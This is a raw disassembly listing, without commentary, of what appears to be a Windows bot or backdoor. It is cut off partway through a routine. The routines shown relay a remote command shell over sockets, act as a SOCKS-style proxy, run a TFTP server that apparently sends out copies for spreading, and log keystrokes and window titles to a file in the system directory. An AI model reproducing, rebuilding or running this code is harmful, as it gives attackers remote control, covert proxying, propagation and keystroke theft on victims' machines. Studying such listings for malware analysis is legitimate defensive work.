loc_4116C8: ; CODE XREF: sub_41167C+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CDCB4 ; send
test eax, eax
jle short loc_4116F9
loc_4116DF: ; CODE XREF: sub_41167C+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_411693
loc_4116F9: ; CODE XREF: sub_41167C+61j
mov esi, dword_42808C
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411715
call esi ; RtlGetLastWin32Error
push eax
push offset unk_437150
call sub_415819
pop ecx
pop ecx
loc_411715: ; CODE XREF: sub_41167C+88j
pop edi
pop esi
pop ebx
leave
retn
sub_41167C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41171A proc near ; DATA XREF: sub_411355+75o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_411813
; ---------------------------------------------------------------------------
loc_411735: ; CODE XREF: sub_41171A+10Ej
cmp [ebp+var_10], ebx
jbe short loc_411742
dec [ebp+var_10]
jmp loc_411816
; ---------------------------------------------------------------------------
loc_411742: ; CODE XREF: sub_41171A+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4117FE
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_4117B2
cmp al, 7Fh
jz short loc_4117B2
cmp al, 3
jnz short loc_41176D
push ebx
push ebx
call dword_42812C ; GenerateConsoleCtrlEvent
jmp short loc_4117D9
; ---------------------------------------------------------------------------
loc_41176D: ; CODE XREF: sub_41171A+47j
cmp al, 15h
jnz short loc_41178F
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_4117C5
; ---------------------------------------------------------------------------
loc_41178F: ; CODE XREF: sub_41171A+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_4117C6
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_4117C5
; ---------------------------------------------------------------------------
loc_4117B2: ; CODE XREF: sub_41171A+3Fj
; sub_41171A+43j
cmp esi, ebx
jbe short loc_4117DC
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_4117C5: ; CODE XREF: sub_41171A+73j
; sub_41171A+96j
pop ecx
loc_4117C6: ; CODE XREF: sub_41171A+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CDCB4 ; send
test eax, eax
jle short loc_41182E
loc_4117D9: ; CODE XREF: sub_41171A+51j
mov al, byte ptr [ebp+arg_0+3]
loc_4117DC: ; CODE XREF: sub_41171A+9Aj
cmp al, 0Dh
jnz short loc_411816
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4280E0 ; WriteFile
test eax, eax
jz short loc_41182E
xor esi, esi
jmp short loc_411816
; ---------------------------------------------------------------------------
loc_4117FE: ; CODE XREF: sub_41171A+34j
cmp [ebp+var_C], ebx
jnz short loc_41180C
mov [ebp+var_C], 1
jmp short loc_411816
; ---------------------------------------------------------------------------
loc_41180C: ; CODE XREF: sub_41171A+E7j
mov [ebp+var_10], 0Ah
loc_411813: ; CODE XREF: sub_41171A+16j
mov [ebp+var_C], ebx
loc_411816: ; CODE XREF: sub_41171A+23j
; sub_41171A+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CDC7C ; recv
test eax, eax
jg loc_411735
loc_41182E: ; CODE XREF: sub_41171A+BDj
; sub_41171A+DEj
pop edi
pop esi
pop ebx
leave
retn
sub_41171A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411833 proc near ; DATA XREF: sub_401B66+2BC2o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4CDC64 ; ntohs
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CDCE4 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_440BA4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CDC90 ; bind
test eax, eax
jnz loc_4119D4
push 0Ah
push edi
call dword_4CDC8C ; listen
test eax, eax
jnz loc_4119D4
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AB14
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_42CF78
push eax
call sub_41C056
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_41190E
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409982
add esp, 14h
loc_41190E: ; CODE XREF: sub_411833+B9j
; sub_411833+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_4157A5
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CDCF8 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_437200
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40AF8D
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_440B9C[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411A37
push esi
push esi
call dword_42807C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_440BAC[ecx], eax
jnz short loc_4119CA
call dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_4371C0
push eax
call sub_41C056
add esp, 0Ch
jmp loc_41190E
; ---------------------------------------------------------------------------
loc_4119C2: ; CODE XREF: sub_411833+19Aj
push 5
call dword_428064 ; Sleep
loc_4119CA: ; CODE XREF: sub_411833+16Dj
cmp [ebp+var_28], esi
jz short loc_4119C2
jmp loc_41190E
; ---------------------------------------------------------------------------
loc_4119D4: ; CODE XREF: sub_411833+7Bj
; sub_411833+8Cj
push edi
call dword_4CDCFC ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_43718C
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411A17
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409982
add esp, 14h
loc_411A17: ; CODE XREF: sub_411833+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_4157A5
push [ebp+var_3C]
call sub_40B2A3
pop ecx
pop ecx
push esi
call dword_4280CC ; ExitThread
pop edi
pop esi
pop ebx
sub_411833 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A37 proc near ; DATA XREF: sub_411833+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_440BA4[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CDC4C ; select
test eax, eax
jnz short loc_411AB8
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411AB8: ; CODE XREF: sub_411A37+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CDC7C ; recv
test eax, eax
jg short loc_411AE9
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411AE9: ; CODE XREF: sub_411A37+98j
cmp [ebp+var_4D0], 4
jnz loc_411CE3
cmp [ebp+var_4CF], 1
jnz loc_411CE3
cmp [ebp+var_44], bl
jz short loc_411B7F
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_411B7F
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_4372CC
call sub_415819
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41BD60
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CDCB4 ; send
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411B7F: ; CODE XREF: sub_411A37+CFj
; sub_411A37+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41BD60
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CDCE4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411C17
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset dword_43728C
call sub_415819
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BD60
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CDCB4 ; send
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411C17: ; CODE XREF: sub_411A37+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CDC0C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_411C86
call dword_4CDBF8 ; WSAGetLastError
push eax
push offset dword_437248
call sub_415819
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BD60
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CDCB4 ; send
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411C86: ; CODE XREF: sub_411A37+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CDCB4 ; send
push dword ptr [esi]
push edi
call sub_411CFB
pop ecx
pop ecx
push edi
call dword_4CDCFC ; closesocket
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411CE3: ; CODE XREF: sub_411A37+B9j
; sub_411A37+C6j
push dword ptr [esi]
call dword_4CDCFC ; closesocket
push [ebp+arg_0]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
sub_411A37 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CFB proc near ; CODE XREF: sub_411A37+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_411D11: ; CODE XREF: sub_411CFB+BEj
; sub_411CFB+EEj
xor ecx, ecx
mov [ebp+var_100], ebx
inc ecx
xor eax, eax
mov [ebp+var_104], ecx
loc_411D22: ; CODE XREF: sub_411CFB+36j
mov edx, [ebp+arg_0]
cmp [ebp+eax*4+var_100], edx
jz short loc_411D33
inc eax
cmp eax, ecx
jb short loc_411D22
loc_411D33: ; CODE XREF: sub_411CFB+31j
cmp eax, ecx
jnz short loc_411D47
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_411D47: ; CODE XREF: sub_411CFB+3Aj
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CDC4C ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CDB50 ; __WSAFDIsSet
test eax, eax
jz short loc_411DA7
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4CDC7C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411DEF
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jz short loc_411DEF
loc_411DA7: ; CODE XREF: sub_411CFB+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CDB50 ; __WSAFDIsSet
test eax, eax
jz loc_411D11
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4CDC7C ; recv
cmp eax, 0FFFFFFFFh
jz short loc_411DEF
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4CDCB4 ; send
cmp eax, 0FFFFFFFFh
jnz loc_411D11
loc_411DEF: ; CODE XREF: sub_411CFB+93j
; sub_411CFB+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_411CFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DF4 proc near ; CODE XREF: sub_411DF4:loc_41225Fp
; DATA XREF: sub_401B66+202Bo ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
xor ebx, ebx
push edi
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CDCE4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_411E94
push 190h
call dword_428064 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_411E74
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409982
add esp, 14h
loc_411E74: ; CODE XREF: sub_411DF4+5Bj
lea eax, [ebp+var_778]
push eax
call sub_4157A5
push [ebp+var_168]
call sub_40B2A3
pop ecx
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_411E94: ; CODE XREF: sub_411DF4+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CDC44 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CDC44 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_440BA4[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41BD60
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4CDC64 ; ntohs
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CDC90 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_411F1E
push 1388h
call dword_428064 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_41225F
; ---------------------------------------------------------------------------
loc_411F1E: ; CODE XREF: sub_411DF4+10Fj
lea eax, [ebp+var_370]
push offset dword_42A06C
push eax
call sub_41BC92
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_411F84
push 190h
call dword_428064 ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409982
lea eax, [ebp+var_778]
push eax
call sub_4157A5
push [ebp+var_168]
call sub_40B2A3
add esp, 1Ch
push ebx
call dword_4280CC ; ExitThread
loc_411F84: ; CODE XREF: sub_411DF4+142j
; sub_411DF4+425j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_412222
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41BD60
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CDC4C ; select
test eax, eax
jle loc_412216
mov al, byte_43FE14
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CDC3C ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CDCF0 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41C056
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412200
cmp [ebp+var_CF], 1
jnz loc_41210C
lea eax, [ebp+var_26C]
push eax
call sub_41B7B0
push ebx
push ebx
push [ebp+var_4]
call sub_41D9ED
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41B8EA
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CDCC8 ; sendto
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferSt ; "Tftp transfer started to: %s"
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_4120FA
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409982
add esp, 14h
loc_4120FA: ; CODE XREF: sub_411DF4+2E1j
lea eax, [ebp+var_778]
push eax
call sub_4157A5
pop ecx
jmp loc_412216
; ---------------------------------------------------------------------------
loc_41210C: ; CODE XREF: sub_411DF4+257j
cmp [ebp+var_CF], 4
jnz loc_412200
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_412143
inc al
xor cl, cl
mov [ebp+var_575], bl
jmp short loc_41214B
; ---------------------------------------------------------------------------
loc_412143: ; CODE XREF: sub_411DF4+341j
inc cl
mov [ebp+var_575], cl
loc_41214B: ; CODE XREF: sub_411DF4+34Dj
mov [ebp+var_576], al
mov edi, 200h
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, edi
push eax
push [ebp+var_4]
call sub_41D9ED
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41B8EA
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CDCC8 ; sendto
cmp edi, ebx
jnz short loc_412216
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset aTftpTransferCo ; "Tftp transfer complete to: %s"
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_4121EB
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409982
add esp, 14h
loc_4121EB: ; CODE XREF: sub_411DF4+3D2j
lea eax, [ebp+var_778]
push eax
call sub_4157A5
inc dword_4D0760
pop ecx
jmp short loc_412216
; ---------------------------------------------------------------------------
loc_412200: ; CODE XREF: sub_411DF4+24Aj
; sub_411DF4+31Fj
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_43730C
push esi
call dword_4CDCC8 ; sendto
loc_412216: ; CODE XREF: sub_411DF4+1E9j
; sub_411DF4+313j ...
cmp [ebp+var_8], ebx
jg loc_411F84
mov edi, [ebp+arg_0]
loc_412222: ; CODE XREF: sub_411DF4+199j
push esi
call dword_4CDCFC ; closesocket
push [ebp+var_4]
call sub_41B82B
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_412253
push [ebp+var_168]
call sub_40B2A3
pop ecx
push ebx
call dword_4280CC ; ExitThread
loc_412253: ; CODE XREF: sub_411DF4+44Aj
push 3E8h
call dword_428064 ; Sleep
push edi
loc_41225F: ; CODE XREF: sub_411DF4+125j
call sub_411DF4
pop edi
pop esi
pop ebx
leave
retn 4
sub_411DF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41226B proc near ; CODE XREF: sub_41234A+B4p
; sub_41234A+247p
var_314 = byte ptr -314h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call dword_428130 ; GetLocalTime
lea eax, [ebp+var_114]
push 104h
push eax
call dword_428078 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push offset asc_437AF4 ; "\\"
push eax
call sub_41C690
lea eax, [ebp+var_114]
push offset dword_42A11C
push eax
call sub_41C690
lea eax, [ebp+var_114]
push offset aAb ; "ab"
push eax
call sub_41BC92
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_4122D0
inc eax
jmp short loc_412347
; ---------------------------------------------------------------------------
loc_4122D0: ; CODE XREF: sub_41226B+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi
call sub_41C5D6
push esi
call sub_41B82B
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_412345
push [ebp+arg_0]
lea eax, [ebp+var_314]
push offset dword_437AC4
push 200h
push eax
call sub_41C150
push 0
lea eax, [ebp+var_314]
push [ebp+arg_8C]
push eax
lea eax, [ebp+arg_C]
push eax
push [ebp+arg_4]
call sub_409982
add esp, 24h
loc_412345: ; CODE XREF: sub_41226B+A1j
xor eax, eax
loc_412347: ; CODE XREF: sub_41226B+63j
pop esi
leave
retn
sub_41226B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41234A proc near ; DATA XREF: sub_401B66+43C9o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
var_4DC = byte ptr -4DCh
var_2DD = byte ptr -2DDh
var_2DC = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call dword_4CDBE8 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CDC00 ; GetWindowTextA
mov ebx, 200h
loc_4123A5: ; CODE XREF: sub_41234A+2BBj
push 8
call dword_428064 ; Sleep
call dword_4CDBE8 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_41242D
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CDC00 ; GetWindowTextA
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_2DC]
push eax
lea eax, [ebp+var_4DC]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax
call sub_41C056
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+var_4DC]
push 25h
pop ecx
mov edi, esp
push eax
rep movsd
call sub_41226B
mov [ebp+var_4], eax
push ebx
lea eax, [ebp+var_2DC]
push 0
push eax
call sub_41BD60
add esp, 0A4h
lea eax, [ebp+var_4DC]
push ebx
push 0
push eax
call sub_41BD60
add esp, 0Ch
loc_41242D: ; CODE XREF: sub_41234A+6Cj
mov [ebp+arg_0], offset aB_0 ; "b"
loc_412434: ; CODE XREF: sub_41234A+2B1j
push 10h
call dword_4CDB38 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call dword_4CDC30 ; GetAsyncKeyState
test ah, ah
jns short loc_4124CB
push 14h
call dword_4CDB38 ; GetKeyState
test ax, ax
jz short loc_41247C
cmp esi, 0FFFFFFFFh
jle short loc_41247C
cmp edi, 40h
jle short loc_41247C
cmp edi, 5Bh
jge short loc_41247C
mov [ebp+edi*4+var_8DC], 1
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_41247C: ; CODE XREF: sub_41234A+111j
; sub_41234A+116j ...
push 14h
call dword_4CDB38 ; GetKeyState
test ax, ax
jz short loc_4124A7
test esi, esi
jge short loc_4124BB
cmp edi, 40h
jle short loc_4124A7
cmp edi, 5Bh
jge short loc_4124A7
